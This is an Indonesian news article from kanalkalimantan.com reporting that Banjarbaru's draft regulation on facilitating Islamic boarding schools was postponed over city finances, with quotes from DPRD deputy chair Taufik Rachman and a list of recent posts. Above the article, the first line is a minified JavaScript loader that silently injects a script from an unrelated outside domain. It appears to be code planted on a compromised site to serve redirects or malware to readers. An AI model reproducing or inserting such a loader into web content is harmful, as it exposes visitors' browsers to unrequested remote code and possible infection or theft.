(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Raperda Fasilitasi Pontren Tertunda, Ini Kata Wakil Ketua DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru mempertanyakan salah satu Rancangan Peraturan Daerah (Raperda) yang diminta untuk ditunda oleh Pemerintah Kota (Pemko) yaitu Raperda Fasilitasi Pondok Pesantren.

Penundaan pembahasan Raperda tersebut juga disebabkan oleh keuangan daerah yang masih belum stabil.

Wakil Ketua DPRD Kota Banjarbaru, Taufik Rachman mengatakan Raperda tersebut ditunda karena kemampuan keungan Pemerintah Kota Banjarbaru yang masih belum stabil.

“Kita juga harus melihat pada kedua sisi keadaan, jadi bukan hanya Perdanya saja tapi kemampuan keuangan kita,” ujarnya.

 

 

Baca juga: Vaksinasi Dosis Lengkap di Lapas Banjarbaru 100 Persen

Taufik mengungkapkan di tahun 2022 mendatang Raperta yang merupakan inisiatif dari DPRD Kota Banjarbaru akan masuk pembahasan terkait Fasilitasi Pondok Pesantren (Pontren) yang ditunda, dikatakan Politisi Partai Golkar ini, Raperda tersebut akan masuk list dalam pembahasan Raperda di tahun 2022.

“Sudah dimasukkan di 2022, Raperda itu salah satu yang akan kita bahas. Menjadi list yang akan dibahas,” ungkapnya.

Diharapkan Taufik di tahun 2022 Kota Banjarbaru mengalami peningkatan dari segi ekonomi, serta keadaan keungan menjadi bagus, sehingga Raperda Fasilitasi Pontren akan dibahas serta ditindaklanjuti.

Dilanjutkannya, karena dengan adanya Ralerda ini akan ada biaya atau dana yang dikeluarkan untuk menunjang berjalanya Perda tersebut Karena harus ada perhatian seperti sarana dan prasarana serta guru.

Baca juga: Vaksinasi Dosis Lengkap di Lapas Banjarbaru 100 Persen

Lebih jauh Taufik tidak berani berstatement kalau terjadi penundaan Raperda Fasilitasi Pontren disebebkan mekanisme Raperda tersebut akan ada dipembahasan.

“Nanti kita tunggu di pembahasan, dari beberapa fraksi nanti bisa menilai apakah ini sudah layak dilanjutkan atau perlu ditunda, kita belum tahu,” tandasnya.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

6 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

7 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

9 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

12 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

15 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

15 jam ago

This website uses cookies.